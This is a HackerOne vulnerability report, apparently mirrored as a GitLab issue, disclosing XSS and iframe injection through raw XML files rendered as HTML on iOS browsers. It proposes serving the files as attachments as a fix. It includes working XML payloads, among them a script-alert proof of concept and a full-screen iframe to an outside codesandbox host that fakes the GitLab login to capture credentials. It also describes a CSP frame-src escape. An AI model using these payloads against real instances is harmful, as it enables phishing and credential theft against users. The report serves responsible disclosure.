XSS and content injection and iframe injection when viewing raw files on IOS devices
HackerOne report #1923293 by joaxcar
on 2023-03-29, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
Summary
When viewing an XML file in a repository in "raw" mode, it can be made to render as HTML if viewed on an IOS device. On a self-hosted GitLab instance without proper CSP this will lead to full XSS on the instance. On gitlab.com CSP will block JavaScript execution (I have not found a bypass for this yet) but it will allow for HTML injection that can be used for open redirection or phishing (as I will show in the POC)
I want to note that this issue stems from what I believe is a bug in WebKit (thus affecting all IOS browsers) and I have reported this to them. I don't know if they will decide on fixing this (might be spec related) and how long this will take. Also, users will be at risk until an eventual patch and after a patch until updating their IOS devices. And as there is an easy mitigation you can apply in the meantime, I think it might be worth considering.
When viewing an XML file as "raw" in GitLab it is loaded with the headers
Content-Type: plain/text
Content-Disposition: inline
IOS browsers will ignore the content-type header if there is a content type defined in the actual XML file (this is according to some old spec). Rendering this XML inline
will make the browsers display HTML
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://www.w3.org/1999/xhtml">
<html:script>alert(document.domain);</html:script>
<html:iframe src="https://example.com"></html:iframe>
</html>
Workaround (mitigation)
To get around this issue, you can do as you do with "raw" SVG files and serve them with
Content-Disposition: attachment
This will force the browsers on IOS to download the files instead of displaying them inline. This should be an easy fix with minor implications for the user. If a fix is put in place in WebKit, you could later revert this.
Steps to reproduce
XSS (self-hosted)
Make sure you can access your self-hosted server on an IOS device. I used NGROK for this.
- Log in to your GitLab instance as the attacker
- Create a new public project (https://gitlab.example.com/projects/new)
- Create a new file in the project (https://gitlab.example.com/groupname/projectname/-/new/main/)
- Name the file
xss.xml
and add the content
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://www.w3.org/1999/xhtml">
<html:script>alert(document.domain);</html:script>
</html>
- Save the file
- Now access the file as
raw
on your IOS device by visiting
https://gitlab.example.com/groupname/projectname/-/raw/main/xss.xml - There should be a popup from gitlab.example.com
Iframe injection on Gitlab.com
Gitlab.com has a CSP that blocks most attacks. But there is one escape hatch in the frame-src directive, where we are allowed to frame any subdomain of *.codesandbox.io
. This allows the attacker to create his/her own content on codesandbox and frame it inside gitlab.com. I have created two codesandbox projects that you can use to test with (if not creating your own).
- Log in to https://gitlab.com as the attacker
- Create a new public project (https://gitlab.com/projects/new)
- Create a new file in the project (https://gitlab.com/groupname/projectname/-/new/main/)
- Name the file
frame_redirect.xml
and add the content
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://www.w3.org/1999/xhtml">
<html:iframe src="https://navigate-top-rr5r5j.codesandbox.io"></html:iframe>
</html>
- Save the file
- Create a second file in the same project
- Name the file
frame_login.xml
and add the content
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://www.w3.org/1999/xhtml">
<html:iframe style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" src="https://withered-http-cxcy0d.codesandbox.io"></html:iframe>
</html>
- Save the file
- Now access these files as
raw
on your IOS device by visiting
https://gitlab.com/groupname/projectname/-/raw/main/iframe_redirect.xml - You should be redirected to https://example.com
- Visit https://gitlab.example.com/groupname/projectname/-/raw/main/iframe_login.xml
- You should be presented with the GitLab login screen, if entering creds here they will be sent to my codesandbox (this is a full page iframe shown)
This is an image how it looks on my phone (note the real gitlab.com domain, and that this is my XML file not the real login screen)
Impact
Full XSS on self-hosted instances. Open redirect and arbitrary content on gitlab.com
What is the current bug behavior?
GitLab serves XML files as inline content when viewed as raw
files. This will render HTML on IOS devices
What is the expected correct behavior?
GitLab should serve XML as attachment
just like with SVGs to prevent this
Impact
Full XSS on self-hosted instances. Open redirect and arbitrary content on gitlab.com
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: